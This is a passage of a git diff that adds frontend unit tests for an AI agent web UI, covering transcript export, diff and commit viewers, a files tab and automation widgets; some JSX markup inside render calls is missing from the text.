+ expect(displayErrorToastMock).not.toHaveBeenCalled();
+ expect(downloadBlobMock).not.toHaveBeenCalled();
+ expect(scenario.onClose).not.toHaveBeenCalled();
+ });
+
+ it("ignores a second export request while the first is running", async () => {
+ const scenario = renderExportModal();
+ const count = createDeferred();
+ getEventCountMock.mockReturnValue(count.promise);
+ const exportButton = screen.getByTestId("confirm-transcript-export");
+
+ act(() => {
+ exportButton.click();
+ exportButton.click();
+ });
+ expect(getEventCountMock).toHaveBeenCalledOnce();
+ await act(async () => count.resolve(1));
+
+ await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+ expect(trackConversationExportedMock).toHaveBeenCalledOnce();
+ expect(scenario.onClose).toHaveBeenCalledOnce();
+ });
+
+ it("closes immediately without starting an export", () => {
+ const scenario = renderExportModal();
+
+ fireEvent.click(screen.getByTestId("close-transcript-export-modal"));
+
+ expect(scenario.onClose).toHaveBeenCalledOnce();
+ expect(getEventCountMock).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/components/features/diff-viewer/commit-list.test.tsx b/__tests__/components/features/diff-viewer/commit-list.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1d9794899916ad1ccaf119113b2c66623de7632a
--- /dev/null
+++ b/__tests__/components/features/diff-viewer/commit-list.test.tsx
@@ -0,0 +1,177 @@
+import React from "react";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi } from "vitest";
+import { CommitList } from "#/components/features/diff-viewer/commit-list";
+import type { GitCommit } from "#/api/open-hands.types";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string, options?: { count?: number }) => {
+ if (
+ key === "DIFF_VIEWER$UNCOMMITTED_FILE_COUNT" &&
+ typeof options?.count === "number"
+ ) {
+ return options.count === 1
+ ? `${options.count} file`
+ : `${options.count} files`;
+ }
+ return key;
+ },
+ }),
+}));
+
+vi.mock("#/hooks/query/use-commit-changes", () => ({
+ useCommitChanges: () => ({
+ data: undefined,
+ isLoading: false,
+ isSuccess: false,
+ }),
+}));
+
+vi.mock("#/components/features/diff-viewer/diff-change-list", () => ({
+ DiffChangeList: ({
+ changes,
+ }: {
+ changes: Array<{ path: string; status: string }>;
+ }) => (
+
+ {changes.map((change) => (
+
{change.path}
+ ))}
+
+ ),
+}));
+
+const makeCommit = (overrides: Partial = {}): GitCommit => ({
+ sha: "a".repeat(40),
+ shortSha: "aaaaaaa",
+ subject: "add logging",
+ author: "Agent",
+ timestamp: "2026-07-10T12:00:00+07:00",
+ ...overrides,
+});
+
+describe("CommitList", () => {
+ it("renders an Uncommitted accordion row above the commit rows", () => {
+ // Arrange / Act
+ render(
+ ,
+ );
+
+ // Assert
+ expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument();
+ expect(screen.getByText("DIFF_VIEWER$UNCOMMITTED")).toBeInTheDocument();
+ expect(screen.getByTestId("uncommitted-changes-count")).toHaveTextContent(
+ "1 file",
+ );
+ const rows = screen.getAllByTestId(/^(uncommitted-changes-row|commit-row)$/);
+ expect(rows[0]).toHaveAttribute("data-testid", "uncommitted-changes-row");
+ });
+
+ it("pluralizes the Uncommitted file count", () => {
+ // Arrange / Act
+ render(
+ ,
+ );
+
+ // Assert
+ expect(screen.getByTestId("uncommitted-changes-count")).toHaveTextContent(
+ "2 files",
+ );
+ });
+
+ it("expands Uncommitted into the working-tree file list", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+
+ // Act
+ await user.click(screen.getByTestId("uncommitted-changes-row-toggle"));
+
+ // Assert
+ expect(await screen.findByText("src/a.ts")).toBeInTheDocument();
+ });
+
+ it("collapses Uncommitted when a commit row is expanded", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+ const uncommittedToggle = screen.getByTestId(
+ "uncommitted-changes-row-toggle",
+ );
+ await user.click(uncommittedToggle);
+ expect(uncommittedToggle).toHaveAttribute("aria-expanded", "true");
+ expect(await screen.findByText("src/a.ts")).toBeInTheDocument();
+
+ // Act
+ await user.click(screen.getByTestId("commit-row-toggle"));
+
+ // Assert — single-open accordion: Uncommitted collapses when a commit opens.
+ expect(uncommittedToggle).toHaveAttribute("aria-expanded", "false");
+ expect(screen.getByTestId("commit-row-toggle")).toHaveAttribute(
+ "aria-expanded",
+ "true",
+ );
+ });
+
+ it("expands Uncommitted on request and clears the request", () => {
+ // Arrange
+ const onAutoExpandHandled = vi.fn();
+
+ // Act
+ render(
+ ,
+ );
+
+ // Assert
+ expect(
+ screen.getByTestId("uncommitted-changes-row-toggle"),
+ ).toHaveAttribute("aria-expanded", "true");
+ expect(screen.getByText("src/a.ts")).toBeInTheDocument();
+ expect(onAutoExpandHandled).toHaveBeenCalled();
+ });
+
+ it("still renders Uncommitted when there are no working-tree changes", () => {
+ // Arrange / Act
+ render(
+ ,
+ );
+
+ // Assert
+ expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/diff-viewer/diff-change-list.test.tsx b/__tests__/components/features/diff-viewer/diff-change-list.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..512cb0efe8bdf1c199ebc51162003ba8376c025a
--- /dev/null
+++ b/__tests__/components/features/diff-viewer/diff-change-list.test.tsx
@@ -0,0 +1,84 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { DiffChangeList } from "#/components/features/diff-viewer/diff-change-list";
+
+vi.mock("framer-motion", async (importOriginal) => {
+ const actual = await importOriginal();
+ return {
+ ...actual,
+ // Skip exit animations so open/close assertions are synchronous.
+ useReducedMotion: () => true,
+ };
+});
+
+vi.mock("#/hooks/query/use-unified-git-diff", () => ({
+ useUnifiedGitDiff: () => ({
+ data: { original: "a", modified: "b" },
+ isLoading: false,
+ isSuccess: true,
+ isRefetching: false,
+ }),
+}));
+
+vi.mock("@monaco-editor/react", () => ({
+ DiffEditor: () =>
,
+ Editor: () =>
,
+}));
+
+describe("DiffChangeList", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("keeps only one file expanded at a time", async () => {
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+
+ const [firstToggle, secondToggle] = screen.getAllByTestId("collapse");
+
+ await user.click(firstToggle);
+ expect(
+ screen.getAllByTestId("file-diff-viewer-outer")[0].querySelector(
+ '[data-testid="file-diff-viewer"]',
+ ),
+ ).toBeTruthy();
+ expect(
+ screen.getAllByTestId("file-diff-viewer-outer")[1].querySelector(
+ '[data-testid="file-diff-viewer"]',
+ ),
+ ).toBeNull();
+
+ await user.click(secondToggle);
+ expect(
+ screen.getAllByTestId("file-diff-viewer-outer")[0].querySelector(
+ '[data-testid="file-diff-viewer"]',
+ ),
+ ).toBeNull();
+ expect(
+ screen.getAllByTestId("file-diff-viewer-outer")[1].querySelector(
+ '[data-testid="file-diff-viewer"]',
+ ),
+ ).toBeTruthy();
+ });
+
+ it("collapses the open file when its header is clicked again", async () => {
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+
+ await user.click(screen.getByTestId("collapse"));
+ expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("collapse"));
+ expect(screen.queryByTestId("file-diff-viewer")).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx b/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7bdb37e28e5d79a43843d0a3489c3c049448edb1
--- /dev/null
+++ b/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx
@@ -0,0 +1,227 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import {
+ FileDiffViewer,
+ MAX_DIFF_EDITOR_HEIGHT_PX,
+} from "#/components/features/diff-viewer/file-diff-viewer";
+
+const MOCK_DIFF = { original: "old content", modified: "new content" };
+const MOCK_MD_DIFF = {
+ original: "# Old Heading",
+ modified: "# New Heading\n\nSome **bold** text",
+};
+
+let mockDiff = MOCK_DIFF;
+let mockIsSuccess = true;
+let mockIsLoading = false;
+
+vi.mock("#/hooks/query/use-unified-git-diff", () => ({
+ useUnifiedGitDiff: () => ({
+ data: mockDiff,
+ isLoading: mockIsLoading,
+ isSuccess: mockIsSuccess,
+ isRefetching: false,
+ }),
+}));
+
+vi.mock("@monaco-editor/react", () => ({
+ DiffEditor: (props: Record) => (
+
+ ),
+ Editor: (props: Record) => (
+
+ ),
+}));
+
+vi.mock("#/components/features/markdown/markdown-renderer", () => ({
+ MarkdownRenderer: ({ content }: { content: string }) => (
+ {content}
+ ),
+}));
+
+const expand = async (user: ReturnType) => {
+ await user.click(screen.getByTestId("collapse"));
+};
+
+describe("FileDiffViewer", () => {
+ beforeEach(() => {
+ mockDiff = MOCK_DIFF;
+ mockIsSuccess = true;
+ mockIsLoading = false;
+ });
+
+ it("caps opened editor panes at 600px", () => {
+ expect(MAX_DIFF_EDITOR_HEIGHT_PX).toBe(600);
+ });
+
+ it("keeps view mode controls reserved but inert while collapsed", () => {
+ render( );
+
+ const viewModeGroup = screen.getByTestId("view-mode-diff").parentElement;
+ expect(viewModeGroup).toHaveClass("invisible");
+ expect(screen.getByTestId("view-mode-old")).toHaveAttribute(
+ "tabIndex",
+ "-1",
+ );
+ });
+
+ it("reveals view mode buttons when expanded", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+
+ const viewModeGroup = screen.getByTestId("view-mode-diff").parentElement;
+ expect(viewModeGroup).not.toHaveClass("invisible");
+ expect(screen.getByTestId("view-mode-old")).toBeInTheDocument();
+ expect(screen.getByTestId("view-mode-diff")).toBeInTheDocument();
+ expect(screen.getByTestId("view-mode-new")).toBeInTheDocument();
+ });
+
+ it("shows diff editor by default when expanded", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+
+ expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+ expect(screen.queryByTestId("file-single-viewer")).not.toBeInTheDocument();
+ });
+
+ it("switches to single editor on 'new' mode", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+ await user.click(screen.getByTestId("view-mode-new"));
+
+ expect(screen.getByTestId("file-single-viewer")).toBeInTheDocument();
+ expect(screen.getByTestId("file-single-viewer")).toHaveAttribute("data-value", "new content");
+ expect(screen.queryByTestId("file-diff-viewer")).not.toBeInTheDocument();
+ });
+
+ it("switches to single editor on 'old' mode", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+ await user.click(screen.getByTestId("view-mode-old"));
+
+ expect(screen.getByTestId("file-single-viewer")).toBeInTheDocument();
+ expect(screen.getByTestId("file-single-viewer")).toHaveAttribute("data-value", "old content");
+ });
+
+ it("returns to diff editor when switching back to 'diff' mode", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+ await user.click(screen.getByTestId("view-mode-new"));
+ await user.click(screen.getByTestId("view-mode-diff"));
+
+ expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+ expect(screen.queryByTestId("file-single-viewer")).not.toBeInTheDocument();
+ });
+
+ it("renders markdown preview for .md files in 'new' mode", async () => {
+ mockDiff = MOCK_MD_DIFF;
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+ await user.click(screen.getByTestId("view-mode-new"));
+
+ expect(screen.getByTestId("markdown-preview")).toBeInTheDocument();
+ expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(/New Heading/);
+ expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(/bold/);
+ expect(screen.queryByTestId("file-single-viewer")).not.toBeInTheDocument();
+ });
+
+ it("renders markdown preview for .md files in 'old' mode", async () => {
+ mockDiff = MOCK_MD_DIFF;
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+ await user.click(screen.getByTestId("view-mode-old"));
+
+ expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(MOCK_MD_DIFF.original);
+ });
+
+ it("shows diff editor for .md files in 'diff' mode", async () => {
+ mockDiff = MOCK_MD_DIFF;
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+
+ expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+ expect(screen.queryByTestId("markdown-preview")).not.toBeInTheDocument();
+ });
+
+ it("renders a 'file deleted' placeholder when expanded for a deleted file", async () => {
+ // Simulate the hook short-circuiting the API call for deleted files.
+ mockDiff = undefined as unknown as typeof MOCK_DIFF;
+ mockIsSuccess = false;
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+
+ expect(screen.getByTestId("file-deleted-message")).toBeInTheDocument();
+ expect(screen.queryByTestId("file-diff-viewer")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("file-single-viewer")).not.toBeInTheDocument();
+ // View-mode toolbar should not render for deleted files since there is
+ // nothing to switch between.
+ expect(screen.queryByTestId("view-mode-old")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("view-mode-diff")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("view-mode-new")).not.toBeInTheDocument();
+ });
+
+ it("renders a deleted file's diff content in commit mode instead of the placeholder", async () => {
+ // Arrange — in per-commit mode both sides come from git objects, so a
+ // deleted file has real content to show (original vs empty).
+ mockDiff = { original: "old content", modified: "" };
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+
+ // Act
+ await expand(user);
+
+ // Assert
+ expect(
+ screen.queryByTestId("file-deleted-message"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+ });
+
+ it("reflects the active view mode via aria-pressed on the toggle buttons", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await expand(user);
+
+ expect(screen.getByTestId("view-mode-diff")).toHaveAttribute(
+ "aria-pressed",
+ "true",
+ );
+ expect(screen.getByTestId("view-mode-old")).toHaveAttribute(
+ "aria-pressed",
+ "false",
+ );
+
+ await user.click(screen.getByTestId("view-mode-old"));
+
+ expect(screen.getByTestId("view-mode-old")).toHaveAttribute(
+ "aria-pressed",
+ "true",
+ );
+ expect(screen.getByTestId("view-mode-diff")).toHaveAttribute(
+ "aria-pressed",
+ "false",
+ );
+ });
+});
diff --git a/__tests__/components/features/files-tab/file-content-viewer.test.tsx b/__tests__/components/features/files-tab/file-content-viewer.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..734dbb2dcd24b3319aa2f9af5dcf6d250a0cdfbb
--- /dev/null
+++ b/__tests__/components/features/files-tab/file-content-viewer.test.tsx
@@ -0,0 +1,124 @@
+import React from "react";
+import { render, screen } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { FileContentViewer } from "#/components/features/files-tab/file-content-viewer";
+import type { ViewMode } from "#/components/features/files-tab/view-mode";
+import { useWorkspaceMutationCounter } from "#/stores/use-workspace-mutation-counter";
+
+// Mock the *services* the file-content hook depends on — not the hook itself —
+// so the real classification (text decoded, then flipped to binary on a NUL
+// sniff) runs end to end through the viewer.
+const useWorkspaceSessionMock = vi.fn();
+vi.mock("#/hooks/query/use-workspace-session", async (importOriginal) => {
+ const real =
+ await importOriginal<
+ typeof import("#/hooks/query/use-workspace-session")
+ >();
+ return {
+ ...real, // keep the real joinWorkspaceUrl the hook builds its fetch URL with
+ useWorkspaceSession: () => useWorkspaceSessionMock(),
+ };
+});
+
+const useActiveConversationMock = vi.fn();
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => useActiveConversationMock(),
+}));
+
+const useRuntimeIsReadyMock = vi.fn();
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+ useRuntimeIsReady: () => useRuntimeIsReadyMock(),
+}));
+
+const getActiveBackendMock = vi.fn();
+vi.mock("#/api/backend-registry/active-store", () => ({
+ getActiveBackend: () => getActiveBackendMock(),
+}));
+
+// The hook statically imports the cloud runtime service; stub the module so
+// this local-path test never loads the real cloud/proxy machinery. The test
+// uses the fetch (local) path, so downloadFile is never called or asserted.
+vi.mock("#/api/runtime-service/agent-server-runtime-service", () => ({
+ default: { downloadFile: vi.fn() },
+}));
+
+const fetchMock = vi.fn();
+
+const BASE_URL =
+ "https://agent.example.com/api/conversations/conv-1/workspace/";
+
+function renderViewer(path: string, viewMode: ViewMode = "rich") {
+ const client = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+ ,
+ );
+}
+
+describe("FileContentViewer", () => {
+ beforeEach(() => {
+ vi.stubGlobal("fetch", fetchMock);
+ fetchMock.mockReset();
+ useWorkspaceSessionMock.mockReset();
+ useActiveConversationMock.mockReset();
+ useRuntimeIsReadyMock.mockReset();
+ getActiveBackendMock.mockReset();
+
+ useRuntimeIsReadyMock.mockReturnValue(true);
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ id: "conv-1",
+ conversation_url: "https://agent.example.com/api/conversations/conv-1",
+ session_api_key: "session-key",
+ },
+ });
+ useWorkspaceSessionMock.mockReturnValue({
+ data: { baseUrl: BASE_URL },
+ isLoading: false,
+ isError: false,
+ error: null,
+ });
+ getActiveBackendMock.mockReturnValue({
+ backend: { id: "local-1", kind: "local", host: "http://localhost:8000" },
+ orgId: null,
+ });
+ useWorkspaceMutationCounter.setState({ count: 0 });
+ });
+
+ afterEach(() => {
+ vi.unstubAllGlobals();
+ });
+
+ // The acceptance criteria require the clear message in BOTH view modes. The
+ // plain-mode fallback and the rich-mode binary branch both route through
+ // UnpreviewableFallback, so one parametrized spec covers both code paths.
+ it.each(["rich", "plain"] as const)(
+ "shows a clear unsupported-document message for an Office file (.pptx) in %s mode",
+ async (viewMode) => {
+ // Arrange: the workspace fileserver returns real .pptx bytes — a ZIP whose
+ // header carries a NUL, so the hook classifies the file as binary.
+ fetchMock.mockResolvedValue({
+ ok: true,
+ status: 200,
+ arrayBuffer: () =>
+ Promise.resolve(
+ new Uint8Array([0x50, 0x4b, 0x03, 0x04, 0x00]).buffer,
+ ),
+ });
+
+ // Act
+ renderViewer("demo.pptx", viewMode);
+
+ // Assert: the format-aware "no preview" message replaces the generic
+ // binary fallback in both modes, so the pane is never blank.
+ expect(
+ await screen.findByTestId("file-content-viewer-unsupported-document"),
+ ).toBeInTheDocument();
+ },
+ );
+});
diff --git a/__tests__/components/features/files-tab/file-tree-view.test.tsx b/__tests__/components/features/files-tab/file-tree-view.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..44cb40af6109d6644bddc66736f42f1dbe7f546e
--- /dev/null
+++ b/__tests__/components/features/files-tab/file-tree-view.test.tsx
@@ -0,0 +1,68 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi } from "vitest";
+
+import { FileTreeView } from "#/components/features/files-tab/file-tree-view";
+
+// FileTreeView composes the recursive TreeNode (extracted into its own file).
+// The route-level files-tab test treats the tree as a black box, so these
+// cover the tree's own user-facing behavior: empty state, directory
+// expand/collapse, and file selection.
+describe("FileTreeView", () => {
+ it("shows the empty-state message and no tree when there are no files", () => {
+ // Arrange + Act
+ render(
+ ,
+ );
+
+ // Assert
+ expect(screen.getByText("FILES$NO_FILES")).toBeInTheDocument();
+ expect(screen.queryByTestId("file-tree-view")).not.toBeInTheDocument();
+ });
+
+ it("keeps a directory collapsed until clicked, then reveals its children", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+
+ // Assert: the directory row shows but its nested file is hidden.
+ expect(screen.getByTestId("file-tree-dir-src")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("file-tree-file-src/main.ts"),
+ ).not.toBeInTheDocument();
+
+ // Act: expand the directory.
+ await user.click(screen.getByTestId("file-tree-dir-src"));
+
+ // Assert: the nested file is now visible.
+ expect(
+ screen.getByTestId("file-tree-file-src/main.ts"),
+ ).toBeInTheDocument();
+ });
+
+ it("calls onSelectFile with the file path when a file row is clicked", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ const onSelectFile = vi.fn();
+ render(
+ ,
+ );
+
+ // Act
+ await user.click(screen.getByTestId("file-tree-file-README.md"));
+
+ // Assert
+ expect(onSelectFile).toHaveBeenCalledTimes(1);
+ expect(onSelectFile).toHaveBeenCalledWith("README.md");
+ });
+});
diff --git a/__tests__/components/features/files-tab/workspace-path.test.tsx b/__tests__/components/features/files-tab/workspace-path.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..43af240b3842b0920f39b0c4ecd8ca22440ee394
--- /dev/null
+++ b/__tests__/components/features/files-tab/workspace-path.test.tsx
@@ -0,0 +1,76 @@
+import { render, screen, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+import { WorkspacePath } from "#/components/features/files-tab/workspace-path";
+
+const originalClipboard = navigator.clipboard;
+
+describe("WorkspacePath", () => {
+ afterEach(() => {
+ vi.restoreAllMocks();
+ Object.defineProperty(navigator, "clipboard", {
+ configurable: true,
+ value: originalClipboard,
+ });
+ });
+
+ it("shows the effective workspace path", () => {
+ const path = "/Users/alice/workspace/project/abc123";
+
+ render( );
+
+ expect(screen.getByTestId("files-tab-workspace-path")).toHaveTextContent(
+ "WORKSPACE$TITLE:",
+ );
+ expect(
+ screen.getByTestId("files-tab-workspace-path-value"),
+ ).toHaveTextContent(path);
+ });
+
+ it("keeps the complete path available when the text is truncated", () => {
+ const path =
+ "/Users/alice/a-very-long-workspace-name/project/with/nested/directories";
+
+ render( );
+
+ const value = screen.getByTestId("files-tab-workspace-path-value");
+ expect(value).toHaveClass("truncate");
+ expect(value).toHaveAttribute("title", path);
+ });
+
+ it("copies the complete path and confirms the action", async () => {
+ const path = "C:\\Users\\alice\\workspace\\project";
+ const writeText = vi.fn().mockResolvedValue(undefined);
+ const user = userEvent.setup();
+ Object.defineProperty(navigator, "clipboard", {
+ configurable: true,
+ value: { writeText },
+ });
+
+ render( );
+
+ const workspacePath = screen.getByTestId("files-tab-workspace-path");
+ await user.click(
+ within(workspacePath).getByRole("button", { name: "BUTTON$COPY" }),
+ );
+
+ expect(writeText).toHaveBeenCalledWith(path);
+ expect(
+ within(workspacePath).getByRole("button", { name: "BUTTON$COPIED" }),
+ ).toBeDisabled();
+ });
+
+ it("does not render without a workspace path", () => {
+ const { rerender } = render( );
+
+ expect(
+ screen.queryByTestId("files-tab-workspace-path"),
+ ).not.toBeInTheDocument();
+
+ rerender( );
+ expect(
+ screen.queryByTestId("files-tab-workspace-path"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/home/automation-run-activity-sparkline.test.ts b/__tests__/components/features/home/automation-run-activity-sparkline.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..0d30b15d1e2860c0bfedd8b4158612638b40660e
--- /dev/null
+++ b/__tests__/components/features/home/automation-run-activity-sparkline.test.ts
@@ -0,0 +1,120 @@
+import { describe, expect, it } from "vitest";
+import {
+ AUTOMATION_RUN_ACTIVITY_MAX_BAR_PX,
+ AUTOMATION_RUN_ACTIVITY_MIN_BAR_PX,
+ AUTOMATION_RUN_ACTIVITY_UNKNOWN_BAR_PX,
+ barColorClassForStatus,
+ durationMsToSparklineBarHeightPx,
+ formatDurationForTitle,
+ getAutomationRunDurationMs,
+} from "#/components/features/home/featured-automations/automation-run-activity-metrics";
+import { AutomationRunStatus, type AutomationRun } from "#/types/automation";
+
+function makeRun(overrides: Partial = {}): AutomationRun {
+ return {
+ id: "run-1",
+ status: AutomationRunStatus.COMPLETED,
+ conversation_id: null,
+ bash_command_id: null,
+ error_detail: null,
+ started_at: "2026-08-01T10:00:00.000Z",
+ completed_at: "2026-08-01T10:05:00.000Z",
+ ...overrides,
+ };
+}
+
+describe("getAutomationRunDurationMs", () => {
+ it("returns completed_at - started_at for finished runs", () => {
+ expect(
+ getAutomationRunDurationMs(
+ makeRun({
+ started_at: "2026-08-01T10:00:00.000Z",
+ completed_at: "2026-08-01T10:02:30.000Z",
+ }),
+ ),
+ ).toBe(150_000);
+ });
+
+ it("uses elapsed time for in-flight runs with a usable start", () => {
+ const now = Date.parse("2026-08-01T10:03:00.000Z");
+ expect(
+ getAutomationRunDurationMs(
+ makeRun({
+ status: AutomationRunStatus.RUNNING,
+ started_at: "2026-08-01T10:00:00.000Z",
+ completed_at: null,
+ }),
+ now,
+ ),
+ ).toBe(180_000);
+ });
+
+ it("returns null when timestamps are missing or invalid", () => {
+ expect(
+ getAutomationRunDurationMs(
+ makeRun({
+ status: AutomationRunStatus.FAILED,
+ started_at: "2026-08-01T10:00:00.000Z",
+ completed_at: null,
+ }),
+ ),
+ ).toBeNull();
+ });
+});
+
+describe("durationMsToSparklineBarHeightPx", () => {
+ it("maps unknown duration to the mid fallback height", () => {
+ expect(durationMsToSparklineBarHeightPx(null)).toBe(
+ AUTOMATION_RUN_ACTIVITY_UNKNOWN_BAR_PX,
+ );
+ });
+
+ it("grows with duration between the min and max bar heights", () => {
+ const shortBar = durationMsToSparklineBarHeightPx(1_000);
+ const mediumBar = durationMsToSparklineBarHeightPx(60_000);
+ const longBar = durationMsToSparklineBarHeightPx(30 * 60_000);
+
+ expect(shortBar).toBe(AUTOMATION_RUN_ACTIVITY_MIN_BAR_PX);
+ expect(longBar).toBe(AUTOMATION_RUN_ACTIVITY_MAX_BAR_PX);
+ expect(mediumBar).toBeGreaterThan(shortBar);
+ expect(mediumBar).toBeLessThan(longBar);
+ });
+});
+
+describe("formatDurationForTitle", () => {
+ it("formats seconds, minutes, and hours", () => {
+ expect(formatDurationForTitle(12_000)).toBe("12s");
+ expect(formatDurationForTitle(180_000)).toBe("3m");
+ expect(formatDurationForTitle(7_200_000)).toBe("2.0h");
+ });
+});
+
+describe("barColorClassForStatus", () => {
+ it("uses a pulsing success green for running bars", () => {
+ const classes = barColorClassForStatus(AutomationRunStatus.RUNNING);
+ expect(classes).toContain("bg-[var(--oh-status-success)]");
+ expect(classes).toContain("animate-pulse");
+ });
+
+ it("uses a grey diagonal hatch for pending bars", () => {
+ const classes = barColorClassForStatus(AutomationRunStatus.PENDING);
+ expect(classes).toContain("repeating-linear-gradient");
+ expect(classes).toContain("var(--oh-muted)");
+ expect(classes).toContain("var(--oh-border)");
+ });
+
+ it("uses warning color for blocked task outcomes", () => {
+ expect(barColorClassForStatus("blocked")).toContain(
+ "bg-[var(--oh-warning)]",
+ );
+ });
+
+ it("uses warning color for partial and unknown task outcomes", () => {
+ expect(barColorClassForStatus("partial_success")).toContain(
+ "bg-[var(--oh-warning)]",
+ );
+ expect(barColorClassForStatus("unknown")).toContain(
+ "bg-[var(--oh-warning)]",
+ );
+ });
+});
diff --git a/__tests__/components/features/home/build-pinned-automation-menu-items.test.ts b/__tests__/components/features/home/build-pinned-automation-menu-items.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..442f8af6cbc513855eeb4fc5a6ea10fe645e037d
--- /dev/null
+++ b/__tests__/components/features/home/build-pinned-automation-menu-items.test.ts
@@ -0,0 +1,113 @@
+import { describe, expect, it, vi } from "vitest";
+import { buildHomeAutomationMenuItems } from "#/components/features/home/featured-automations/build-home-automation-menu-items";
+import { I18nKey } from "#/i18n/declaration";
+import type { Automation } from "#/types/automation";
+
+function makeAutomation(overrides: Partial = {}): Automation {
+ return {
+ id: "auto-1",
+ name: "Daily digest",
+ prompt: "Summarize",
+ trigger: {
+ type: "cron",
+ schedule: "0 9 * * *",
+ schedule_human: "Daily at 09:00",
+ },
+ enabled: true,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ ...overrides,
+ };
+}
+
+function itemKeys(
+ entries: ReturnType,
+): string[] {
+ return entries
+ .filter((entry) => entry.kind === "item")
+ .map((entry) => entry.key);
+}
+
+describe("buildHomeAutomationMenuItems", () => {
+ it("orders run / view / edit / turn off / pin with a separator", () => {
+ const entries = buildHomeAutomationMenuItems({
+ automation: makeAutomation(),
+ t: (key) => key,
+ canManage: true,
+ isRunPending: false,
+ isCancelPending: false,
+ canCancel: false,
+ testIdPrefix: "running-automation",
+ pinTestId: "running-automation-pin-auto-1",
+ isPinned: false,
+ onRunNow: vi.fn(),
+ onCancelRun: vi.fn(),
+ onView: vi.fn(),
+ onEdit: vi.fn(),
+ onTurnOff: vi.fn(),
+ onTogglePin: vi.fn(),
+ });
+
+ expect(itemKeys(entries)).toEqual([
+ "run-now",
+ "view",
+ "edit",
+ "turn-off",
+ "pin",
+ ]);
+ expect(entries.some((entry) => entry.kind === "separator")).toBe(true);
+ const pinItem = entries.find(
+ (entry) => entry.kind === "item" && entry.key === "pin",
+ );
+ expect(pinItem?.kind === "item" && pinItem.label).toBe(
+ I18nKey.FEATURED_AUTOMATIONS$PIN,
+ );
+ });
+
+ it("adds cancel run for in-flight automations and disables run now", () => {
+ const entries = buildHomeAutomationMenuItems({
+ automation: makeAutomation(),
+ t: (key) => key,
+ canManage: true,
+ isRunPending: false,
+ isCancelPending: false,
+ canCancel: true,
+ testIdPrefix: "pinned-automation",
+ pinTestId: "unpin-automation-auto-1",
+ isPinned: true,
+ onRunNow: vi.fn(),
+ onCancelRun: vi.fn(),
+ onView: vi.fn(),
+ onTurnOff: vi.fn(),
+ onTogglePin: vi.fn(),
+ });
+
+ expect(itemKeys(entries)).toContain("cancel-run");
+ const runNow = entries.find(
+ (entry) => entry.kind === "item" && entry.key === "run-now",
+ );
+ expect(runNow?.kind === "item" && runNow.disabled).toBe(true);
+ });
+
+ it("omits manage actions when the user cannot manage automations", () => {
+ const entries = buildHomeAutomationMenuItems({
